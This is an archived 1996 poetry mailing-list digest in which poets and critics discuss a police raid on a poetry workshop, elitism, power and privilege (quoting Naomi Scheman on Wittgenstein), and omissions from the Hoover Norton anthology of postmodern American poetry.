How did ch. 2 News headline this story?
"Illegal Nightclub Closed by Police"

What did we not learn from the television coverage? That it was a poetry workshop; that Prof. Caldwell convened it; That one student was sent to the hospital after a police club opened a gash in her head.

What did the television reporters make sure we larned?
The young people were black.

_____
Now, I don't know if they drew a bigger crowd than Ezra Pound, but Sun Ra and Amiri Baraka, like the AACM in Chicago, used to perform the most avant garde music and poetry for Harlem audiences in public spaces --

It seems that some kind of elite wants to stop that shit from happening again!

↑ Index

160. David Golumbia
Re: Subject line that will disappoint Maria
Fri 12 Jan 1996

What was the LAPD's excuse for disrupting the poetry workshop?

Their lines didn't scan?

--
[redacted]
David Golumbia

↑ Index

161. Charles Alexander
Re: rhythm, again
Sat 13 Jan 1996

> *so then how much of poetry is communicating information and how much (poetry community) of poetry is communicating _affect_*
>
> *Jordan*

I think what Ward Tietz was arguing was specifically not to make this separation, that "affect" is full of "information," and "information" is full of "affect," and that we get in trouble if we separate them so. At least I think that was what he was saying, and I agree.

charles

↑ Index

162. Akitoshi Nagahata
inquiry
Sat 13 Jan 1996

Dear poets and critics:

My name is Akitoshi Nagahata. I'm teaching English as a second language and American literature at Nagoya University in Nagoya, Japan. I've been a member of this list for about a year, but this is my first post and it's an inquiry. A friend of mine who is translating Paul Auster's interview into Japanese (who also translated John Ashbery's poems) asked me about a poet Mark Irwin, who, according to the friend, published a book called _Against Meanwhile_. It seems he is mentioned in the interview by Auster or the interviewer. I have no idea who he is and so decided to send an inquiry to this list. Any information about him is welcome.

Akitoshi Nagahata
email: [redacted]
URL: http://ernie.lang.nagoya-u.ac.jp/^nagahata/index2.html

↑ Index

163. **Steve Carll**

Re: rhythm, again

Sat 13 Jan 1996

At 01:11 PM 1/12/96 -0500, Jordan wrote:
>so then how much of poetry is communicating information and how much
>(poetry community) of poetry is communicating _affect_

And just to complicate things a little further, how much affect is really communicated and how much is actually _created_ at the site of the work's reception (reader/audience)? And is the "information" that's communicated left unchanged by its journey to that site?

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164. **Maria Damon**

Re: Subject line that will disappoint Maria

Sat 13 Jan 1996

---

wow almighty, aldon. thanks for the blip. reminds me that i wanted to use, for my book cover, that shot of Bob Kaufman backed into a corner, holding the police at bay with his arms, underneath a poster saying POETRY, but my editor sd it wouldn't copy well. i'll save that msg for my classes. by the way, was it a reading? a critique-workshop? if the former, who was reading?--md

↑ Index

165. Michael Boughn
Re: Subject line that will disappoint Maria
Sat 13 Jan 1996

> _____
> *Now, I don't know if they drew a bigger crowd than Ezra Pound, but Sun Ra and Amiri Baraka, like the AACM in Chicago, used to perform the most avant garde music and poetry for Harlem audiences in public spaces --*
>
> *It seems that some kind of elite wants to stop that shit from happening again!*

Aldon:

I appreciate your point here. But my question was serious. Elite is one of those words that gets deployed so easily, but constantly seems to mean something else. Here you're using it in a context where it's got something to do with access to political power. In the previous usage it seemed to refer to the kinds of audience specific forms of artistic work were addressed to. Which then raises all kinds of troubling questions--for me anyway.

I don't think I've ever had a stronger sense of elitism at work than sitting in one of those rooms at the MLA. Which wasn't a problem for me. If someone wants to spend 50 grand learning to write in ways and about issues that interest 15 (or 50) other people on the continent, I say, go for it. Think about Cary Nelson lovingly collecting 90 year old scrap books of dead labour organizers for the aura that lingers about them. Not exactly a populist past time, but it clearly gives him such exquisite pleasures, who's going to tell him to stop because it's elitist?

Mike
[redacted]

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166. jeffrey timmons
Goat-Walking
Sat 13 Jan 1996

under news of the weird category:

was out riding my bike last night (ah, the joys of arizona in jan.) and came up behind a horse with two people on it. as i passed the horse and its people i noticed that they had their goat out with them. how nice, i thought. they're out walking their goat. this is phoenix.

jeffrey timmons

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167. jeffrey timmons
Re: Subject line that will disappoint Maria
Sat 13 Jan 1996

On Sat, 13 Jan 1996, Michael Boughn wrote:

> *Think about Cary Nelson lovingly collecting 90 year old scrap books of dead labour organizers for the aura that lingers about them. Not exactly a populist past time, but it clearly gives him such exquisite pleasures, who's going to tell him to stop because it's elitist?*

is it elitest?

jeffrey timmons

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168. Landers
Postmodern American Poetry: the Norton Anthology
Sat 13 Jan 1996

I hope this isn't a dead thread on this list.

I just bought _Postmodern American Poetry: the Norton Anthology_. edited by Paul Hoover. I noted with pleasure that some of the present company were included as well as mentioned in the Acknowledgements. Unfortunately, the book is also very disturbing.

Why is Ashbery given this place at the lead of language poetry? *Self- portrait* is a fine book, but it's just one of many. He happened to be published by Penguin and that meant exposure.

What about *A-22 & 23* by Louis Zukofsky? Why isn't he even in there? What about Grossinger and Charles Stein and the whole North Atlantic thing? What about the Jargon Society?

The Montemora people are there and the Sulphur crowd.

What about the Canadians and the Brits? Is this to be a separate anthology? I mean Christopher Dewdney and Jed Rasula and Thomas A. Clark and Tom Raworth just to name a few whose work belongs in this book except by geography.

What about John Taggart? My lord! This could be one of the most glaring ommissions. The way he plays with sound is so fascinating.

Many more of my favorites were not in there, like Don Byrd, Nathaniel Tarn, Theodore Enslin, James Sherry ... I've barely begun.

I think it was too soon for this. I'm glad many new people will be exposed to the people who *are* in there. (Many of you are here, Rae, Ron, Charles, etc.) But when it comes time to do a proper anthology, I nominate Clayton Eshelman to edit it.

Pete Landers
[redacted]

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169. Kevin Killian
Re: Postmodern American Poetry: the Norton Anthology
Sat 13 Jan 1996

Dear Pete Landers,

From your post it appears that the only people of importance that Paul Hoover left out of his anthology were men. Isn't that amazing!

Dodie Bellamy

↑ Index

170. Joe Amato
Re: Subject line that will disappoint Maria
Sat 13 Jan 1996

---

i don't think one can constructively interrogate the term "elitist" w/o a corresponding interrogation of context and relationship... and i do mean to say *interrogate*...

"elitist" generally suggests a power differential, yes?... there's a certain irony in suggesting that nelson's 'working class' orientation is elitist (you meant it this way, right mike?)... if elitist is taken to mean something like promoting a powerful minority (as in majority-minority) position *to the exclusion of other positions* i'd say there are problems with it... that is, elitists are presumably those with power, vis-a-vis the folks who designate the opposition as such... as a pejorative the word suggests a small group in a hierarchical relation with a larger group as a result of insidious practices...

whereas the capacity for advocating that a given minority view may be superior to other such views is a desirable feature of public discourse...

but generally elitism is, uh, deployed by those who decry it as an accusation, to denote a certain arrogance, not to say inequitable power relation... i mean, just

because a group or person is eccentric, or because a group or person occupies a minority position as such, is rarely occasion for such an accusation...

i hasten to add that power is a function of context, which is why elitist as a tag is so, well, fraught... i mean, i once heard a lit. theorist argue to the effect that there's nothing wrong with being elitist, because in fact all this means is that lit. theory is arcane... and more populist abuses of the term are probably easy to demonstrate...

still, arcana and elitism are not the same words, and don't as i see it turn on the same public axes...

for me the question is whether elitism is a useful term these days, given what we know of the political climate of reception... in aesthetic terms, and in the midst of a conservative backlash of sorts, one might expect to be accused of elitism becasuse one is "inaccessible"... on the other hand, belief in a "power elite" (i'm not talking typewriters) is a frequent construction of certain left political discourse per se...

i think we have in this country a system which promotes an establishment power elite... and i think that a certain level of aesthetic inaccessibility is desirable...

hence i guess i am and i am not an elitist, depending on who you are... but i don't aspire to elitist status, uh-uh...

joe

↑ Index

171. Landers

Re: Postmodern American Poetry: the Norton Anthology

Sun 14 Jan 1996

Kevin Killian <[redacted]> wrote:
>Dear Pete Landers,
>
>From your post it appears that the only people of importance that Paul
>Hoover left out of his anthology were men. Isn't that amazing!
>
>Dodie Bellamy

Neidecker. Like I said, I could go on. I mentioned my own favorites mostly and I'm sorry but the women I like _are_ in there.

[redacted]

↑ Index

172. Ron Silliman
Re: Postmodern American Poetry: the Norton Anthology
Sun 14 Jan 1996

Peter,

Doing an anthology is simply an impossible task. I speak from experience. Whenever I read one, such as Jerry & Pierre's of late, I spend so much of my time thinking about the texts they should have included, the way I would have organized it better, etc., etc., etc.

In some sense, that may be one of the real pleasures of READING an anthology, but it is an EXCRUCIATING aspect of editing one.

The Hoover anthology (which Golding in his essay on anthologies in From Outlaw to Classic -- a brilliant book everyone should read --, notes is the only Norton to use the indefinite article "A Norton Anthology") certainly has its weaknesses and blind spots, even for the poets it includes. Getting the title of Zukofsky's long poem wrong is sort of typical. Including 28 NY School poets but not Ted Greenwald is another. I could go on (and your suggestions are all good ones). But I have no doubts about Paul's intentions and good will that went into the project.

What about the case of someone like Ted Pearson, whom I left out of In the American Tree from a sense that (like Scalapino or Dahlen, say) I felt his work was more a conscious critical take on the scene than implicated within it. He's not in the Ganick/Barone, nor either the Hoover or Messerli, nor even the New Coast. Yet he's clearly one of the significant poets of his (my) generation.

Just as the Paris Leary/Robert Kelly anthology, A Controversy of Poets, first exposed me many moons ago to the likes of Rochelle Owens, Jackson Mac Low, Gerrit Lansing and Kelly himself (none of whom were in the Allen), the Hoover will no doubt have an eye-opening impact for some folks. And that's what it's all about, no?

All best,
Ron

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173. Maria Damon
Re: Subject line that will disappoint Maria
Sun 14 Jan 1996

---

to joe's longish post, which i won't reproduce:

i've heard some folks draw a distinction between power and privilege...they can cohabit a situation or coincide but one can have privilege w/out power (like us

academics, i'd say)... "elitism" seems closer to privilege --sheltered, eccentric...but not powerful in a corporate thuggish way necessarily...though one can of course talk about a corporate elite or a power elite... it was a useful distinction for me, cuz i often recognize that i'm privileged, but rarely feel powerful in the sense of "power over". --md

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174. **kathryne l.**
Re: Subject line that will disappoint Maria
Sun 14 Jan 1996

Sorry to be a bother, but I have lost some files and addresses. Could someone--hope it won't be aflood of unwanted notes--send D. Messerli's email address? Also, are you there Charles B.? Want to ask you more about old British publishers of Black US stuff--back channel?

As long as I have wasted enough of your collective time, how about a fax # for Burt Hatlen?

Thanks, this is a sunny Sunday in Detroit, one that makes one think about premature spring cleaning of a desk that is otherwise an archeological dig. I need a steam shovel, that great modernist textual tool. Thanks. By the way, elitism is not an accident of censorship or poor distribution: that few might have read certain of Langston Hughes' revolutionary poems, for instance, doesn't mean that he was being an elitist. Elitism is an ethos and an affiliation, not a matter of failure to get or stimulate literal or literary "action." This does not address questions of whether one is doing effective political work (in this day and age???) by recalling texts that speak to positive (in this day and age???) social change.

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175. **Michael Boughn**
Re: Subject line that will disappoint Maria
Sun 14 Jan 1996

> *Elitism is*
> *an ethos and an affiliation, not a matter of failure to get or stimulate literal or literary "action." This does not address questions of whether one is doing effective political work (in this day and age???) by recalling texts that speak to positive (in this day and age???) social change.*

Kathryn L., please say more. What ethos? What affiliation?

Mike
[redacted]

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176. **Michael Boughn**
Re: Subject line that will disappoint Maria
Sun 14 Jan 1996

> *i've heard some folks draw a distinction between power and privilege...they can cohabit a situation or coincide but one can have privilege w/out power (like us academics, i'd say)... "elitism" seems closer to privilege --sheltered, eccentric...but not powerful in a corporate thuggish way necessarily...though one can of course talk about a corporate elite or a power elite... it was a useful distinction for me, cuz i often recognize that i'm privileged, but rarely feel powerful in the sense of "power over". --md*

The problem I have here, Maria, is you seem to assume a dynamics of power based on it all being one place, and not elsewhere, which ignores everything Foucault taught us about the circulation of power through social orders. You may not feel you have power over others, but perhaps you're in denial, as they say. What about in the class room? What about within various professional organizations? Personal relationships? You may use your power responsibly, but that doesn't mean you don't have it.

Mike
[redacted]

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177. **Maria Damon**
Re: Subject line that will disappoint Maria
Sun 14 Jan 1996

this msg got lost before; i'm trying again:

wow almighty, aldon. thanks for the blip. reminds me that i wanted to use, for my book cover, that shot of Bob Kaufman backed into a corner, holding the police at bay with his arms, underneath a poster saying POETRY, but my editor sd it wouldn't copy well. i'll save that msg for my classes. by the way, was it a reading? a critique-workshop? if the former, who was reading?--md

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178. **David Kellogg**
Re: rhythm, again
Sun 14 Jan 1996

On Fri, 12 Jan 1996, Jordan Davis wrote:

> *so then how much of poetry is communicating information and how much (poetry community) of poetry is communicating _affect_*

Time for a blurb.

The information/rhythm problematic is well explored in a book I've recently read and would recommend:

TELLING RHYTHM: BODY AND MEANING IN POETRY, by Amittai Aviram (U of Michigan P, 1994).

It has some weaknesses: For example, in the few comments it makes about language poetry, I think it drastically misunderstands the work. But as a recovery of a somatic understanding of poetry descending from Nietzsche, I think it does a remarkably clear and interesting job.

Cheers,
David
~~~
~~~

~~~~~~~~~~~~~~~~~~~

David Kellogg Duke University
[redacted] University Writing Program
[redacted] Durham, NC 27708
FAX [redacted]

There is some excitement in one corner,
but most of the ghosts are merely shaking their heads.

-- Thomas Kinsella

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180. Maria Damon

Re: Subject line that will disappoint Maria

Sun 14 Jan 1996

---

michael boughn: the emphasis in my post was not on my feelings as reality or not, but on a distinction i'd found helpful, between power and/or privilege. that my feeling powerful or not may not correspond to my "actual" position (whatever that may be) is axiomatic. do you find the distinction between privilege and power useful? maria d

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181. Tom Beard

elitism

Mon 15 Jan 1996

I've noticed that for accusations of elitism to be levelled against a poet, there are two prerequisites:

1) that the poetry is seen to be inaccessible; and

2) that the poet is seen to have easy or subsidised access to the means of publication.

So, 'obscure' or 'experimental' poets are not seen as 'elitist' by these accusers if they self-publish via photocopier and are rarely given pride of place in mainstream literary mags: they are merely harmless eccentrics. But if the same writer receives grants of public money, is published by university presses and dominates the journals, then he or she is deemed 'elitist'.

It is interesting to note that the accusers usually fulfill neither of the above criteria: they write accessible poetry that no-one wants to publish.

Tom Beard.
~~~~~~~~~~~~~~~~~~~

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://www.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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182. **Michael Boughn**

Re: Subject line that will disappoint Maria

Mon 15 Jan 1996

> *michael boughn:*
> *the emphasis in my post was not on my feelings as reality or not, but on a distinction i'd found helpful, between power and/or privilege. that my feeling powerful or not may not correspond to my "actual" position (whatever that may be) is axiomatic. do you find the distinction between privilege and power useful?*
> *maria d*

Maria:

Well, I don't know. It seems to rely on the same dynamic in that it defines power as something other than what we (each of us, even those without privilege) experience in our lives (from both sides) by making it solely the provenance of "them". Admittedly, "they" may have more of it on a more regular basis, but who's so innocent as not to know its taste?

(I've now forgotten how this relates to writing and elitism. O well.)

Mike
[redacted]

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183. **Robert Drake**

looking for David G...

Mon 15 Jan 1996

---

again sorry to intrude, but if David Golumbia is out there,
would you please contact me backchannel? i've gotten
returned messages, both email and smail...

lbd
[redacted]

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184. **Keith Tuma**

Re: Subject line that will disappoint Maria

Mon 15 Jan 1996

This may or may not be of interest re "privilege." It's from a manuscript essay a friend, Charles Spinosa, put me onto some time ago. The author is Naomi Scheman, a Stanley Cavell student I think:

Privilege and marginality are central concepts in recent feminist and other liberatory theorizing, in which they are generally taken to be opposed to each other: privilege resides at the center of whatever system is being analyzed, and marginality is the condition of being removed from that center, having an identity peripheral to the structures of privilege, being "different." But there are certain social locations that are at once privileged and marginal, complex amalgams that are of particular relevance for an understanding of the nature of philosophy and of theorizing. In particular, in societies such as ours, the position of the academic, and of the philosopher within the academy, are positions of privileged marginality.... The privilege and the marginality are not just two features of this social location; they are inextricably bound together. . . . Privileged marginality is a location from which the felt need for the generic standpoint is peculiarly both poignant and problematic, a combination present throughout Wittgenstein's writings and enacted especially in the interchanges with the interlocuter in the _Investigations_ and other later work. . . . It is, however, only the explicit politicizing of that location, along with the explicit politicizing of epistemology generally, that can take us beyond the diagnosis of the pull toward the generic--the pull, that is, away from diversity--to a clearer sense of how more responsibly to live in the forms of life we--variously--inhabit. Such a perspective provides a gloss on Wittgenstein's remark that "Not empiricism and yet realism in philosophy, that is the hardest thing." (RFM, VI, 23) Empiricism is an epistemology of parsimony: the problem for knowledge is taken to be the problem of partiality in the sense of bias: what we need is to strip away the influence of everything that might lead to doxastic idiosyncrasy. The hallmark of reality, however, is that it looks different to those differntly placed in it; consequently realism requires an epistemology of largesse: the problem for knowledge isthe problem of partiality not in the sense of bias but in the sense of incompleteness.

Hope that gives all of you pondering elites, power and privilege something to chew on. Seems pretty straightforward, my big cuts and all. But I'm no philosopher.

--keith

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185. **Maria Damon**
Re: Subject line that will disappoint Maria
Mon 15 Jan 1996

---

re: naomi scheman and wittgenstein: that was helpful, keith, thanks. naomi is a colleague at UMN; i have often admired her jewelry but never read a word she's written. what she sez is true not only of academics but also, it seems to me, of (some) Jewish people, (some) class-privileged women and (some) gay men. for those of us, like wittgenstein or naomi or me, who inhabit an overlap of these denominations, the sense of being special/ different/ silenced/ privileged can get us all tied up in knots but it's a special vantage point that i at least find rather delicious. --maria d

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186. **David Golumbia**
Re: Subject line that will disappoint Maria
Mon 15 Jan 1996

Naomi Scheman's essays (many of them at any rate) are collected in her ENGENDERINGS: CONSTRUCTIONS OF KNOWLEDGE, PRIVILEGE AND AUTHORITY (I may not have got this perfectly right), out in the Thinking Gender series from Routledge c.93/94. I believe the quoted passage is included there.

Naomi has been attracting some attention lately as an important "Full Professor"-generation feminist theorist (of which there are all too few), and having worked with her essays (and her personally, to a lesser extent) in the past, she strikes me as one of the most important voices in philosophy today.

Regarding Wittgenstein, I believe a volume edited by Naomi Scheman is forthcoming in the Penn State UP series, to be called FEMINIST INTERPRETATIONS OF WITTGENSTEIN. At this point I suspect its pub. date is more likely 1997 than 1996. I have high expectations for it.

--
[redacted]
David Golumbia

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187. **Michael Boughn**
Re: Subject line that will disappoint Maria
Mon 15 Jan 1996

> *re: naomi scheman and wittgenstein:*
> *that was helpful, keith, thanks. naomi is a colleague at UMN; i have often*

> *admired her jewelry but never read a word she's written. what she sez is true not only of academics but also, it seems to me, of (some) Jewish people, (some) class-privileged women and (some) gay men. for those of us, like wittgenstein or naomi or me, who inhabit an overlap of these denominations, the sense of being special/ different/ silenced/ privileged can get us all tied up in knots but it's a special vantage point that i at least find rather delicious. --maria d*

Well, I was thinking of when I worked in a metal stamping plant near Aldon in Santa Clara. On the production floor it was mostly me and a dozen chicano guys running 10 high speed punch presses. (Talk about "silenced". My ears are still ringing 15 years later). I don't quite see how "marginal" decribes their position (or mine then). Marginal to what? Maybe we weren't marginal. Maybe we were. Interestingly, although we all were aligned in varying degrees against the power of the front office, the power relations between those guys (they basically came from three families) and within their families were every bit as intense and structured as those between us and management. Negotiating that was a trip.

They did read my poems from time to time, and though they didn't "understand" them (I think they were elitist poems), they thought it was wild somebody would write stuff like that. I don't think, however, at that point I'd yet crafted a poem as astonishing and smooth-running as Carlos' '52 Chev lowrider. Ever since, I've been trying to figure out how to get hydraulics into a poem.

Mike
[redacted]

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188. **Joe Amato**
Re: Subject line that will disappoint Maria
Mon 15 Jan 1996

---

been chewing over this power/privilege couple that maria intro'd, with subsequent glosses by mike, keith, tom, david, et. al... i think the distinction has proved itself useful by calling attention to a hybrid subject position that some of us evidently feel we sometimes-often occupy (me too)... i mean, such a position is, as maria puts it, "delicious" to the extent that one *can* understand this conjunction as operating at certain thresholds... of habit taste motivation etc... herewith a bit of speculation:

what i'm having trouble with is the way i tend ordinarily to think and speak of privilege... i mean, privileges are earned from one pov and accorded from another... and as a well-heeled anguish prof., perhaps i'd be remiss not to point to the word's etymology (from latin, approx. 'belonging to the individual,'

'solitary,' as opposed to 'belonging to the collective,' or state) and ask whether in fact it's a privilege to be so privileged as to be working with etymologies in the first place?... i mean, how did i come to *know* things this way, why am i entitled so, so entitled?...

to argue that, for politics (and as i (sorta) understand scheman), the problem of knowledge should be less its partiality than its impartial incompleteness---realism as preferable to radical empiricism, i guess---is to say, really, that politics should be predicated on knowing how to make space for other ways of knowing (largesse) and not merely a matter of cogitating over the limitations of each way... but this is to formulate things in terms of *knowledge*... that is, politics in this formulation seems to me to be subordinated to epistemology...

but speaking more as a poet (and isn't this hat-game convenient?), what often concerns me is less the inadequacy of a given epistemology than the inadequacy of epistemology, period... i don't mean to say that epistemology isn't pertinent, but i do mean to say that it isn't always the best account of what i'm doing, the best category for theorizing my activity...

it seems to me that it's precisely when i stop obsessing over how i know what i know---which obsession represents an elision of the corresponding *entitlement* (to know etc.)---that privilege becomes a matter of understanding what i've been given, literally, to understand... it's here that my material means, i mean, become legible---less as 'forms of life' (i really don't want to go there) or objectified objects of an inquiring, un-knowing mind, more as independently existing entities... people too---what's often important is not how i "know" them, necessarily, not even the "know-how" it takes to treat others with due respect for their knowledges... what's often important is understanding what it is we each *feel* entitled to, and why, how we developed that sense of entitlement or privilege independently of knowledge as such---as a function of social experience, or anthropological habit, or emotional trauma... one can reduce all of this to 'ways of knowing' or some such, but for me this does in fact constitute a reduction...

to whatever extent i may be empowered, if what i feel privileged/entitled to know (etc.) is always a matter of relation (with others), how i come to understand, or mebbe respond to, what i feel i deserve or don't is not always or only about the incompleteness of this-my knowledge, it's often got as much to do with the completeness of that which i don't know... that is, i am at once apprehensive and intact in my lack of knowledge...

i hope my residual murkiness is not too murky... but i just don't always *know* what i'm about, even though i do feel entitled to a good reuben sandwich every now and again...

joe

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189. Maria Damon
Re: Subject line that will disappoint Maria
Mon 15 Jan 1996

---

re centrality v/ marginality: often those referred to as marginal are in fact foundational, central to the operations of the state. capitalism couldn't function w/out a steady margin of unemployed lumpen, etc. you catch my drift.--maria d

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190. Keith Tuma
Re: Subject line that will disappoint Maria
Mon 15 Jan 1996

I like very much joe's "murky" mini-essay, but I see too that in excerpting the scheman essay ("Forms of Life: Mapping the Rough Ground") for use in the exchanges on power/privilege I have left it vulnerable to mis-reading. What she is precisely NOT about is "subordinating politics to epistemology." She is trying to get Wittgenstein out from under a reading by one J. C. Nyiri. Two more excerpts:

One important thing Wittgenstein can seem to be denying us is, precisely, ground to stand on, if among our concerns is the possibility of casting a critical eye on the world we inhabit. When he writes that "what has to be accepted, the given is--so one could say--_forms of life_"(PI p226), what--so one could ask--is the force of this "has to"? If, as Wittgenstein wants to lead us to see, it is only against a background of shared practices and shared judgments that doubt can be intelligible, (how) can we register, let alone argue for, disapprobation of a form of life, whether it be one in which we are enmeshed (making our attempted critique self-refuting) or one to which we are alien (making our critique, referentially, off the mark)?

It has been argued, most pointedly by J. C. Nyiri, that Wittgenstein provides a way of responding to these puzzles, not by providing such critical ground, but by persuading us to do without it. On this reading Witgenstein is at once theoretically pluralist and practically conservative.

Against Nyiri (and on behalf of W) Scheman introduces her discussion of diasporic identity--really the subject of her essay. I don't want to get into that as it's late and i'm already too far astray from the ongoing question, but perhaps one more excerpt will do more justice to scheman's position:

But there's no no need to take Wittgenstein in this way [as nyiri and others take him]--it could just as well be that what stops, what is given peace, is,

specifically, philosophizing, not because quiet takes its place, but because what has seemed a philosophical problem becomes something else. [That is, a political problem.]

And so on and so on. Probably scheman would have no problem with joe's "ordinary" use of "privilege" (and the reubens at Morry's on 55th--they're still mediocre, joe?) I introduced the earlier quote to break up the power- privilege monad. And, as long as we're mucking about in philosophy, and pondering poetry and "elites," there's this from Cavell in an interview:

But what's an American writer? An American writer is somebody who either can make a living at writing--an important fact--or who is a poet. For poets, a community exists. They write for one another and they know it. [He's envious?]

Is it disturbing that "community" is here in the singular? Should it be? Would it still make sense to speak of "elites" if cavell is right, or if it were somehow worthwhile making him right by speaking of a need to forge community within a real acknowledgement of (scheman's) incompleteness and already existing multiple practices and povs? Just asking. . . .

Anyway, hope this clarifies the scheman essay a little.
--keith

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191. Christopher Reiner
A reading (fwd)
Tue 16 Jan 1996

Here's an upcoming reading in SF:

Etel Adnan/Kathleen Fraser
Thursday evening, January 18th, 7 p.m. at Barnes & Noble Booksellers (upstairs) 2550 Taylor, at Bay, San Francisco, CA

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192. Landers
Re: POETICS Digest - 13 Jan 1996 to 14 Jan 1996
Tue 16 Jan 1996

Ron Silliman <[redacted]> wrote:

> *Doing an anthology is simply an impossible task. I speak from experience.*

[snips you all probably read already]

> *Just as the Paris Leary/Robert Kelly anthology, A Controversy of Poets, first exposed me many moons ago to the likes of Rochelle Owens, Jackson*

> *Mac Low, Gerrit Lansing and Kelly himself (none of whom were in the Allen), the Hoover will no doubt have an eye-opening impact for some folks. And that's what it's all about, no?*

Yes, I think that many of my favorite writers are better off *with* that anthology than without it. Many new readers will find the kinship that I found when I went to a lecture by Don Byrd on Louis Zukofsky some years ago. There is more good than bad, in my mind, about the whole thing. I hope it didn't sound like I thought there was any malice in the editor.

However, the heat of the kitchen is also necessary. There will be revisions. And I'll repeat Taggart's name over and over if it will help get him in. And I have to question the national boundary. Those boundaries don't really pertain to poetry after the 70's.

If I put an anthology together (I don't really know enough to do so), I expect some people would have similar reactions. For instance, I would have left out the Beats. I think a lot of people would take exception to that.

BTW, long live Kelly! I'm reading *a STRANGE market* this week. <g>

Peter Landers
[redacted]

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193. Landers
Re: Subject line that will disappoint Maria
Tue 16 Jan 1996

> *do you find the distinction between privilege and power useful?*
> *maria d*

no

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194. Mark Wallace
Susan Schultz, Charles Bernstein, and Hawaii
Tue 16 Jan 1996

Ron Silliman mentions Susan Schultz' excellent piece on the reception that Charles Bernstein received in Hawaii. Charles seems to have gotten along quite well in some ways with the local poets there, who understood how his concept of the ideolect related to their interest in the dialect. The resistance to Bernstein was all from the English department, who (of course) had no interest in local writers but were determined to tell Bernstein that he was "elitist" and

couldn't possibly have anything to do with local poets, thus proving what being "local" means in an administrative frame-- a determination to keep "outside agitators" (as southern sheriffs used to say in the sixties) from giving any ideas to the people we oppress.

Susan's piece explains this much more thoroughly than I can. One note, though--the essay appeared in A Poetics of Criticism, a collection of essays, which is completely different than the excellent mixed-genre magazine Chain.

mark wallace

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195. Gale Nelson

Re: Subject line that will disappoint Maria

Tue 16 Jan 1996

With all the talk about privilege under this subject heading, it may seem hard to imagine that the original post had to do with the Los Angeles Police Department taking an overactive interest in a poetry gathering, and how the local media sensationalized the story. I'm always up for a little irony...

Gale Nelson

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196. Mark Roberts

poetry, publishers & promotion

Tue 16 Jan 1996

It is my understanding that Angus & Robertson (A&R where a major publisher of Australian poetry and literature for many years but have been taken over by Harper Collins) are getting poets to sign a contract which includes a clause in which A&R states that it intends to undertake no publicity or promotion of the completed poetry title. This seems to me to be a little self defeating and contradictory. A&R's argument may well be that poetry publishing has a very limited audience and that the only people who buy the book will probably know the author anyway and that advertising will not result in any significant increased sales. On the other hand by not advertising or promoting the book they are probably loosing what small readership they already have. (I understand that A&R's lack of promotion extends to not organising launches - and from my experience launching a poetry book is probably the best way to sell lots of copies fast!).

I was wondering if any one else knows of any other publishers who adopt a similiar attitude to their poets.

Mark

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197. Ward Tietz

Re: Subject line that will disappoint Maria

Tue 16 Jan 1996

This is a little bit at tangents with the recent discussion, especially since Gale Nelson reminded us of what started it all, but one of the things I've found interesting about the postings on elitism / epistemology etc. has been the patterning of descriptors that have been used in the discussion. The pattern by itself seems to me to suggest a somewhat different problem. I wonder if concerns about epistemology and the conflicting or multiple aspects of privilege and marginality shouldn't perhaps be directed at the apparatus of description, since it seems to me the problem is more a matter of how an epistemology or idea occurs or renders itself usable than of any inherent limitation of the epistemology or idea itself. This is, of course, an almost untestable idea; description can't be avoided or overhauled completely, but I wonder if it could be developed.

I remember a very useful piece by Walter Ong, actually a chapter in "Interfaces of the Word," on how description and knowledge interact, and according to him and others, both unavoidably depend on tropes; description can only frame out an epistemology by way of certain tropes that appeal to a sensory base and their multivalences in language. This is not a very new or unique idea, but his illustration is useful. What he found specifically was that the various sub-tropes of vision: clarity, brilliance, dullness, transparency, opacity, depth, distance, reflection, point of view etc., enforce a very strict regime, almost to the point of defining intellection. A lot of recent writing in philosophy, of course, has been wrestling with this problem, as I think Scheman's is, and has worked against some of these points directly. Deleuze and Guattari also come to mind, but even somewhat more traditional philosophers like Donald Davidson have tried to rework ideas of multiple points of view into descriptions of action.

But the problems of description continue, it seems to me, not least because this base of intellection and reflection enforces itself on other structures as well. One of the reasons we often resort to a center / periphery scheme to describe social phenomena, as Scheman describes, is that it renders static that which is dynamic, or so we believe, but description probably sets up these distinctions in the first place. Description seems to demand this transformation since without it the world couldn't conform to the descriptive apparatus we already have. Scheman's argument almost overcomes this; she tries to activate her

description, but it still seems obliged to resolve contradicting and multiple "placements" by placing them in a different way.

Dynamic things are difficult to describe, but why?; is it only because description has us believe that they are? As Joe Amato said in his posting, "it's often got as much to do with the completeness of that which I don't know." Description will always refuse to speak the language of dynamism and it will always demand a translation. Ironically to "reflect" on such a thing only props it all back up again.

But what can we do? Description gives us a richness of meaning and process we believe we need. Giving up description for demonstration is one way out, but we are not very developed in our understanding of what is required. If we could make progress with demonstration maybe doing without a described "position" would become tolerable.

Ward Tietz
rte. de St. Cergue, 48a
CH-1260 Nyon
Switzerland

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198. Susan Schultz

Re: Susan Schultz, Charles Bernstein, and Hawaii

Tue 16 Jan 1996

Mark--thanks for picking up where I stumbled! My only addition to what you've written is to say that the local poets didn't have anything to say about the idiolect/pidgin question that aroused so much hostility from the non-local poets. I think there is a real question here: pidgin is mainly a "lower class" (I hate this term) language, while idiolects do tend to be invented by elites. That is not to say that the comparison isn't wonderfully provocative and in some ways apt. The other question that was raised (with raised voices) had to do with "intelligibility"; should writers clearly communicate (if there is such a thing) or should they refuse to buy into prefab linguistic constructions? Again, a question well worth discussing. The problem was the out of breathness of the argument more than its terms.

While I'm here, a couple of reading recommendations: the new Kaya Production anthology of Asian-American literature provides a fine antidote to the Garrett Hongo anthology, to say nothing of the Heath and the Norton (not Hoover) folks. Wonderful experimental writing and good contributions from Hawai'i, including work by Barry Masuda, R. Zamorra (Zack) Linmark, and Lois-Ann Yamanaka, whose new novel from FS&G is just out (I'm upset to see her book of poetry referred to in her bio blurb as "an award winning collection of short

stories," for some reason). Linmark also has a new (and experimental) novel out from Kaya Production, which I recommend.

Susan

On Tue, 16 Jan 1996, Mark Wallace wrote:

> *Ron Silliman mentions Susan Schultz' excellent piece on the reception that Charles Bernstein received in Hawaii. Charles seems to have gotten along*
> *quite well in some ways with the local poets there, who understood how his concept of the ideolect related to their interest in the dialect. The resistance to Bernstein was all from the English department, who (of course) had no interest in local writers but were determined to tell Bernstein that he was "elitist" and couldn't possibly have anything to do with local poets, thus proving what being "local" means in an administrative frame-- a determination to keep "outside agitators" (as southern sheriffs used to say in the sixties) from giving any ideas to the people we oppress.*
>
